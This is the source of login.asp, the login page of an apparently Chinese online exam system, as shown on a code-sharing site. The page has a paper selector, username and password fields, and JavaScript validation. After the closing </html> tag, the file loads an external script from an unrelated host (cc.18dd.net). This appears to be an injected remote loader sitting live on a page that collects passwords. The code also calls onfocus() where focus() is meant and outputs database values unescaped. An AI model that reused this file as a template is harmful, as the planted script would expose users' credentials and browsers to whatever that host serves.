login.asp

来自「通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务」· ASP 代码 · 共 66 行

ASP

66 行

<!--#include File="ConnDB.asp"-->
<!--#include File="class/EPaper.asp"-->
<html>
<head>
 <title>在线考试系统</title>
<script language="javascript">
 function FldCheck()
 {
   if (document.myform.pid.value==0)
   {
     alert("请选择考试试卷！");
	 myform.pid.onfocus();
     return false;
   }
   if (document.myform.loginname.value=="")
   {
     alert("请输入用户名！");
	 myform.loginname.onfocus();
     return false;
   }
   if (document.myform.password.value=="")
   {
     alert("请输入密码！");
	 myform.password.onfocus();
     return false;
  }  
  return true;
 }
 </script>
</head>
<body topmargin=0>
<form name="myform" method="Post" action="putSession.asp" onsubmit="return FldCheck()">
<%Set pa = New EPaper%>
<table border="0" align="center">
    <tr>
	 <td align=center height=150 colspan=2><img src="exam.jpg"></td>
    </tr>
     <tr>
      <td width=40% height=50 align="right">选择试卷&nbsp;&nbsp;</td>
      <td><select name=pid>
    <option value=0>--请选择试卷名称--</option>
    <%pa.GetPubPaper()
      DO While Not pa.rs.EOF%>
        <option value=<%=pa.rs("PId")%>><%=pa.rs("PName")%></option>
      <%pa.rs.MoveNext
      Loop
    %></select></td>
     </tr>
     <tr>
      <td width=40% height=50 align="right">用户名&nbsp;&nbsp;</td>
      <td><input name="loginname" size="20"></td>
     </tr>
    <tr>
      <td height=50 align="right">密&nbsp;&nbsp;码&nbsp;&nbsp;</td>
      <td><input name="password" size="20" type="password"></td>
    </tr>
	<tr>
	 <td colspan=2 height=50 align="center">
	 <input type="submit" name="ok" value=" 开始考试 "></td>
    </tr>
</table>
<p align=center><a href="ScoreSearch.asp" target=_blank>成绩查询</a></p>
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C

搜索代码Ctrl + F

全屏模式F11

增大字号Ctrl + =

减小字号Ctrl + -

显示快捷键?

login.asp

login.asp - 源码说明

⌨️ 快捷键说明